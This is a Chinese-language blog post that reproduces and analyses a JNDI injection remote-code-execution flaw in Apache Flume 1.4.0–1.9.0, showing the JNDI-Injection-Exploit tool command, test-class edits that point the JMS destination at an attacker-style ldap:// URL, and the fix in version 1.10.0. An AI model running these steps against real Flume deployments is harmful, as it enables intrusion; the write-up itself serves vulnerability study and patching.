前言:
现在我们对“idea配置jndi”大概比较珍视,我们都想要分析一些“idea配置jndi”的相关文章。那么小编在网上网罗了一些关于“idea配置jndi””的相关知识,希望各位老铁们能喜欢,小伙伴们快快来学习一下吧!项目介绍
Flume 是一种分布式、可靠且可用的服务,用于高效收集、聚合和移动大量日志数据。它具有基于流数据流的简单灵活的架构。它具有可调整的可靠性机制以及许多故障转移和恢复机制,具有健壮性和容错性。它使用允许在线分析应用程序的简单可扩展数据模型。
项目地址
漏洞概述
当攻击者控制目标 LDAP 服务器时,如果配置使用带有 JNDI LDAP 数据源 URI 的 JMS 源,Apache Flume 版本 1.4.0 到 1.9.0 很容易受到 RCE 攻击[1]
影响版本
Apache Flume 1.4.0 - 1.9.0
环境搭建
下载部署即可
漏洞复现
该漏洞需要使用 JNDI工具辅助复现,可使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具。
工具链接:
命令如下所示:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"
终端开启监听,搭建 Flume 项目以 jdk1.8 环境运行 TestIntegrationActiveMQ 测试类即可
漏洞分析
查询官网披露信息可知,是由于 JMSSource 类没有进行验证,导致用户传入的数据被反序列化
搭建运行,idea默认生成的 Junit Application 并不能正常运行;先静态分析看一下
按照思路 diff 发现 JMSSource 1.10.0 在 doConfigure 中新增了调用 assertTure 的 uri 校验;转头去找 lookup
定位代码,connectionFactory 调用了 initialContext.lookup
看一下 lookup 的调用方法,传进 InitialContext#getURLOrDefaultInitCtx
lookup 拿到 name ,getURLScheme匹配 :和 /;之后获取链接内容,getURLContext 解释包含样例
For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory
基本确定了,接下来尝试漏洞利用
context.put(JMSSourceConfiguration.DESTINATION_NAME,
JNDI_PREFIX + DESTINATION_NAME);
项目未提供可将恶意参数传入漏洞触发位置的web界面或api,为了快速进行漏洞分析我们使用官方提供的测试类TestIntegrationActiveMQ, 可以使用该测试类进行漏洞复现与利用
可控参数传入位置在该类的 testQueueLocatedWithJndi 函数,里面只有上述两个 context.put;DESTINATION_NAME即为我们的入口点,name参数正是来自 DESTINATION_NAME ,因此需要在 TestIntegrationActiveMQ 中设置 DESTINATION_NAME 为 ldap 的链接;且需要更改 JNDI_PREFIX 为 ldap
converterClassName is :
org.apache.flume.source.jms.DefaultJMSMessageConverter$Builder
destinationName+dynamicQueues/+test
destinationLocator+JNDI
按照这个尝试修改代码
TestIntegrationActiveMQ 中修改 DESTINATION_NAME 和 JNDI_PREFIX
运行测试发现 testQueueLocatedWithJndi 读入的 信息变成了 ldap://xxxxx:1389/h3puak 且 testQueueLocatedWithJndi 测试报错
context.put 变成
destinationName+ldap://+xxxxxx:1389/h3puak
destinationLocator+JNDI
按照漏洞复现步骤运行工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"
获取到 destinationName:ldap://x.x.x.x:1389/gttkny
收到 ldap了但没执行命令;idea项目Java版本换成 1.8 即可
修复方式
升级到 1.10.0 版本或按照 commite:dafb26ccb172141c6e14e95447e1b6ae38e9a7d0 修复相关代码
参考链接
[1]
[2]
[3]
[4]
标签: #idea配置jndi